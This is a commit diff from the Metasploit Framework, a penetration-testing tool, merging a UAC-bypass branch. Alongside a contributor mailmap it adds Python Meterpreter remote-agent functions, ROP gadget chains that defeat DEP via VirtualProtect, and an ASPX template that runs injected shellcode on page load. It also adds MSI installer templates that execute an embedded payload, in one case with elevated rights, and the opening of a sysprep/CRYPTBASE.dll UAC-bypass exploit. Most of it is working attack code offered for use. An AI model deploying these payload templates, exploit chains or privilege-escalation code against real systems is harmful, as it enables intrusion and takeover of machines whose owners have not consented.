Use sysnative to delete the cryptbase.dll when in SYSWOW64 process.
Merge branch 'master' of github.com:Meatballs1/metasploit-framework into bypassuac_redo Conflicts: modules/exploits/windows/local/bypassuac.rbbug/bundler_fix
commit
b3cc9f6f1e
36
.mailmap
36
.mailmap
|
@ -1,14 +1,13 @@
|
|||
bperry-r7 <bperry-r7@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
bperry-r7 <bperry-r7@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
|
@ -16,35 +15,39 @@ shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
|||
tasos-r7 <tasos-r7@github> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
|
||||
# Above this line are current Rapid7 employees Below this paragraph are
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
# one time or another, had some largeish number of commits landed on
|
||||
# rapid7/metasploit-framework master branch. This should be refreshed
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be>
|
||||
corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
||||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
|
@ -56,6 +59,9 @@ kris <kris@???> kris <>
|
|||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
|
||||
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
||||
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
||||
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -149,6 +149,8 @@ TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
|||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
||||
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
|
||||
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
|
||||
|
||||
# Socket
|
||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||
|
@ -273,6 +275,9 @@ ERROR_FAILURE = 1
|
|||
# errors.
|
||||
ERROR_CONNECTION_ERROR = 10000
|
||||
|
||||
WIN_AF_INET = 2
|
||||
WIN_AF_INET6 = 23
|
||||
|
||||
def get_stat_buffer(path):
|
||||
si = os.stat(path)
|
||||
rdev = 0
|
||||
|
@ -290,6 +295,27 @@ def get_stat_buffer(path):
|
|||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
return socket.inet_pton(family, address)
|
||||
elif has_windll:
|
||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
lpAddress = (ctypes.c_ubyte * 28)()
|
||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||
raise Exception('WSAStringToAddress failed')
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(map(chr, lpAddress[4:8]))
|
||||
elif family == socket.AF_INET6:
|
||||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
|
||||
def resolve_host(hostname, family):
|
||||
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
||||
family = address_info[0]
|
||||
address = address_info[4][0]
|
||||
return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)}
|
||||
|
||||
def windll_GetNativeSystemInfo():
|
||||
if not has_windll:
|
||||
return None
|
||||
|
@ -687,6 +713,40 @@ def stdapi_fs_stat(request, response):
|
|||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_resolve_host(request, response):
|
||||
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
||||
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
||||
if family == WIN_AF_INET:
|
||||
family = socket.AF_INET
|
||||
elif family == WIN_AF_INET6:
|
||||
family = socket.AF_INET6
|
||||
else:
|
||||
raise Exception('invalid family')
|
||||
result = resolve_host(hostname, family)
|
||||
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
||||
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_resolve_hosts(request, response):
|
||||
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
||||
if family == WIN_AF_INET:
|
||||
family = socket.AF_INET
|
||||
elif family == WIN_AF_INET6:
|
||||
family = socket.AF_INET6
|
||||
else:
|
||||
raise Exception('invalid family')
|
||||
for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
|
||||
hostname = hostname['value']
|
||||
try:
|
||||
result = resolve_host(hostname, family)
|
||||
except socket.error:
|
||||
result = {'family':family, 'packed_address':''}
|
||||
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
||||
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
||||
|
@ -842,9 +902,12 @@ def stdapi_registry_query_value(request, response):
|
|||
if value_type.value == REG_SZ:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
||||
elif value_type.value == REG_DWORD:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
|
||||
value = value_data[:4]
|
||||
value.reverse()
|
||||
value = ''.join(map(chr, value))
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
||||
else:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -111,6 +111,24 @@ def packet_get_tlv(pkt, tlv_type):
|
|||
offset += tlv[0]
|
||||
return {}
|
||||
|
||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = val.split('\x00', 1)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
pass
|
||||
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||
offset += tlv[0]
|
||||
raise StopIteration()
|
||||
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
|
@ -271,7 +289,7 @@ class PythonMeterpreter(object):
|
|||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = self.extension_functions.keys()
|
||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = self.extension_functions.keys()
|
||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,66 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>2007</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x51bd0000">
|
||||
<gadget offset="0x000750fd">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001158">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001803c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0001803c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0001750f">POP EBX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0002a7d8">POP EDX # RETN</gadget>
|
||||
<gadget value="ffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x000406e9">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0008bfae">Writable location</gadget>
|
||||
<gadget offset="0x0003cc24">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x0004df8a">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002d94b">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0002c840">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0003a4ec">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x0007a9f3">ptr to 'jmp esp'</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>2010</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x51bd0000">
|
||||
<gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0003e4fa">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0002a429">POP EDX # RETN</gadget>
|
||||
<gadget value="ffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0006c4b1">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0008c638">Writable location</gadget>
|
||||
<gadget offset="0x0000be1d">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00005383">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00073335">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0002c7cb">JMP [EAX]</gadget>
|
||||
<gadget offset="0x00076452">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x000010b8">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0006604e">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00014534">ptr to 'jmp esp'</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -9,7 +9,7 @@
|
|||
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00024c66">skip 4 bytes</gadget>
|
||||
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
||||
<gadget value="FFFFFBFF">0x00000201</gadget>
|
||||
<gadget value="safe_negate_size">0x00000201</gadget>
|
||||
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
|
||||
<gadget value="0xffffffff"></gadget>
|
||||
|
|
|
@ -7,12 +7,21 @@
|
|||
</compatibility>
|
||||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
|
||||
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
|
||||
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
||||
|
@ -33,23 +42,29 @@
|
|||
</compatibility>
|
||||
|
||||
<gadgets base="0x77ba0000">
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">Filler</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x00026320">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
|
||||
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004ff56">Writable location</gadget>
|
||||
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00029801">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="0x03C0990F">EAX</gadget>
|
||||
<gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
|
||||
<gadget offset="0x000148d3">POP EBX, RET</gadget>
|
||||
<gadget offset="0x000521e0">.data</gadget>
|
||||
<gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
|
||||
<gadget offset="0x0001fc02">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
|
||||
<gadget offset="0x00038c04">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="0x03C0944F">EAX</gadget>
|
||||
<gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
|
||||
<gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">NOP</gadget>
|
||||
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
|
|
@ -0,0 +1,21 @@
|
|||
<%%@ Page Language="C#" AutoEventWireup="true" %%>
|
||||
<%%@ Import Namespace="System.IO" %%>
|
||||
<script runat="server">
|
||||
private static Int32 MEM_COMMIT=0x1000;
|
||||
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
|
||||
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
%{shellcode}
|
||||
IntPtr %{var_funcAddr} = VirtualAlloc(IntPtr.Zero,(UIntPtr)%{var_bytearray}.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
System.Runtime.InteropServices.Marshal.Copy(%{var_bytearray},0,%{var_funcAddr},%{var_bytearray}.Length);
|
||||
IntPtr %{var_threadId} = IntPtr.Zero;
|
||||
IntPtr %{var_hThread} = CreateThread(IntPtr.Zero,UIntPtr.Zero,%{var_funcAddr},IntPtr.Zero,0,ref %{var_threadId});
|
||||
}
|
||||
</script>
|
|
@ -0,0 +1,3 @@
|
|||
*.msi
|
||||
*.wixobj
|
||||
*.wixpdb
|
|
@ -0,0 +1,7 @@
|
|||
Compile using WiX: http://wixtoolset.org
|
||||
|
||||
Recompile with a larger buffer file to increase the available
|
||||
buffer size for larger payloads if required.
|
||||
|
||||
candle template_x86_windows.wxs
|
||||
light template_x86_windows.wixobj
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,18 @@
|
|||
@echo off
|
||||
REM Set PATH to location of your WiX binaries
|
||||
SET PATH=%PATH%;c:\tools\local\wix38-binaries\
|
||||
@echo on
|
||||
|
||||
candle template_windows.wxs
|
||||
light template_windows.wixobj
|
||||
copy template_windows.msi ..\..\template_windows.msi
|
||||
del template_windows.msi
|
||||
del template_windows.wixobj
|
||||
del template_windows.wixpdb
|
||||
|
||||
candle template_nouac_windows.wxs
|
||||
light template_nouac_windows.wixobj
|
||||
copy template_nouac_windows.msi ..\..\template_nouac_windows.msi
|
||||
del template_nouac_windows.msi
|
||||
del template_nouac_windows.wixobj
|
||||
del template_nouac_windows.wixpdb
|
|
@ -0,0 +1,38 @@
|
|||
<?xml version='1.0' encoding='windows-1252'?>
|
||||
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||
<Product Name='Foobar 1.0' Id='*'
|
||||
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||
|
||||
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" InstallPrivileges="limited" />
|
||||
|
||||
<Media Id='1' />
|
||||
|
||||
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||
<Condition>0</Condition>
|
||||
</Component>
|
||||
</Directory>
|
||||
|
||||
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
|
||||
<Binary Id='Payload' SourceFile='buffer' />
|
||||
|
||||
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='yes' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
|
||||
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
|
||||
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
|
||||
|
||||
<Feature Id='Complete' Level='1'>
|
||||
<ComponentRef Id='MyComponent' />
|
||||
</Feature>
|
||||
|
||||
<!-- Define ALLUSERS with a blank value -->
|
||||
<Property Id="ALLUSERS" Secure="yes"/>
|
||||
|
||||
<InstallExecuteSequence>
|
||||
<ResolveSource After="CostInitialize" />
|
||||
<Custom Action="ExecPayload" After="InstallInitialize" />
|
||||
<Custom Action="FailInstallation" Before="InstallFiles" />
|
||||
</InstallExecuteSequence>
|
||||
|
||||
</Product>
|
||||
</Wix>
|
|
@ -0,0 +1,35 @@
|
|||
<?xml version='1.0' encoding='windows-1252'?>
|
||||
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||
<Product Name='Foobar 1.0' Id='*'
|
||||
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||
|
||||
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
|
||||
|
||||
<Media Id='1' />
|
||||
|
||||
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||
<Condition>0</Condition>
|
||||
</Component>
|
||||
</Directory>
|
||||
|
||||
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
|
||||
<Binary Id='Payload' SourceFile='buffer' />
|
||||
|
||||
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='no' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
|
||||
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
|
||||
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
|
||||
|
||||
<Feature Id='Complete' Level='1'>
|
||||
<ComponentRef Id='MyComponent' />
|
||||
</Feature>
|
||||
|
||||
<InstallExecuteSequence>
|
||||
<ResolveSource After="CostInitialize" />
|
||||
<Custom Action="ExecPayload" After="InstallInitialize" />
|
||||
<Custom Action="FailInstallation" Before="InstallFiles" />
|
||||
</InstallExecuteSequence>
|
||||
|
||||
</Product>
|
||||
</Wix>
|
Binary file not shown.
Binary file not shown.
|
@ -4,11 +4,14 @@ void exploit()
|
|||
{
|
||||
|
||||
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
|
||||
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
|
||||
const wchar_t *sySysPrepExe = L"sysprep.exe";
|
||||
const wchar_t *szElevDll = L"CRYPTBASE.dll";
|
||||
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
|
||||
wchar_t szElevDir[MAX_PATH] = {};
|
||||
wchar_t szElevDir_syswow64[MAX_PATH] = {};
|
||||
